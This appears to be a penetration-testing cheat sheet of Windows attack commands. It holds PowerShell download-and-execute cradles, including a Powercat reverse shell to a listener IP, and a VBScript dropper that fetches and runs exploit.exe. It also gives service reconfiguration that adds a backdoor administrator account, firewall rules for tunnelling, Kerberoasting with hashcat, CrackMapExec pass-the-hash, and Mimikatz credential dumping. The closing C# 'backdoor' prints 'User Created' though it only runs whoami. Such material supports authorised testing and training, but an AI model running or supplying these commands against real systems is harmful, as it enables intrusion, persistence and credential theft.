PayloadsAllTheThings Windows Privesc
PayloadsAllTheThings Linux Privesc
Check binary for potential escalation
Windows precompiled kernel exploits binaries
Linux precompiled kernel exploits binaries
Active Directory Exploitation Cheat Sheet
Attacking Active Directory: 0 to 0.9
aws s3 unauthenticated enumeration
Vulnhub - https://www.vulnhub.com/
powershell.exe -NoP -NonI -Exec Bypass IEX "(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.117/shell443.exe','shell443.exe')"
This Example will download Powercat to memory and execute a reverse shell using Powercat without touching the disk
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object System.Net.Webclient).DownloadString("http://172.16.242.173/powercat.ps1"); powercat -c 172.16.242.173 -p 4444 -e cmd.exe
You can use this technique to download any script to memory and execute functions from it like Powerview also
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.101.24/powerview.ps1'); Get-DomainController
Transfer exploit.exe from your kali server to the target server and execute it
cmd.exe /c "@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>poc.vbs&@echo objXMLHTTP.open "GET","http://192.168.119.142/exploit.exe",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLHTTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject("ADODB.Stream")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream.Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFile "exploit.exe">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objADOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=Nothing>>poc.vbs&@echo Set objShell=CreateObject("WScript.Shell")>>poc.vbs&@echo objShell.Exec("exploit.exe")>>poc.vbs&cscript.exe poc.vbs"
Reconfigure Service:
sc config ServiceName depend= "" start= demand binpath= "C:\Inetpub\wwwroot\shell443.exe" obj= ".\LocalSystem" password= ""
sc config ServiceName binPath= "cmd /c net user haxxor haxxor123 /add && net localgroup Administrators haxxor /add && net localgroup 'Remote Desktop Users' haxxor /add"
Allow Ports 80, 443 and 4444 as Inbound and outbound rules in the firewall (needs admin priveleges)
netsh advfirewall firewall add rule action=allow name=tunnelI dir=in protocol=tcp localport='80,443,4444'
netsh advfirewall firewall add rule action=allow name=tunnelO dir=out protocol=tcp remoteport='80,443,4444'
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.101.24/powerview.ps1'); Get-DomainController
InvokeKerberoast powershell script will request a service ticket from the DC for the service accounts which you can then copy and crack
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.101.24/Invoke-Kerberoast.ps1')
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'c:\users\public\HashCapture.txt' -Width 8000
hashcat -m 13100 -o cracked.txt -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --force --potfile-disable
crackmapexec smb 192.168.101.0/24 --local-auth -u Administrator -H a0989207854b684f07b5b6fe68169a35
crackmapexec smb 192.168.101.0/24 -u vixx -H 'aad3b435b51404eeaa35b51404ee:a0989207854b684f07b5b6fe68169a35'
Dump hash and open a cmd shell as vixx using mimikatz(over pass the hash)
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:vixx /domain:vixx.domain /ntlm:a0989207854b684f07b5b6fe68169a35 /run:PowerShell.exe
privilege::debug
token::elevate
lsadump::sam
You can compile c# code in powershell and create a binary. Run the following POC in powershell:
$code = @"
using System;
namespace AddUsers
{
public class AddUsers
{
public static void Main(){
System.Diagnostics.Process Process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo strtInfo = new System.Diagnostics.ProcessStartInfo();
strtInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
strtInfo.FileName = "cmd.exe";
strtInfo.Arguments = "/c whoami";
Process.StartInfo = strtInfo;
Process.Start();
Console.WriteLine("User Created");
}
}
}
"@
Add-Type -outputtype consoleapplication -outputassembly backdoor.exe -TypeDefinition $code -Language CSharp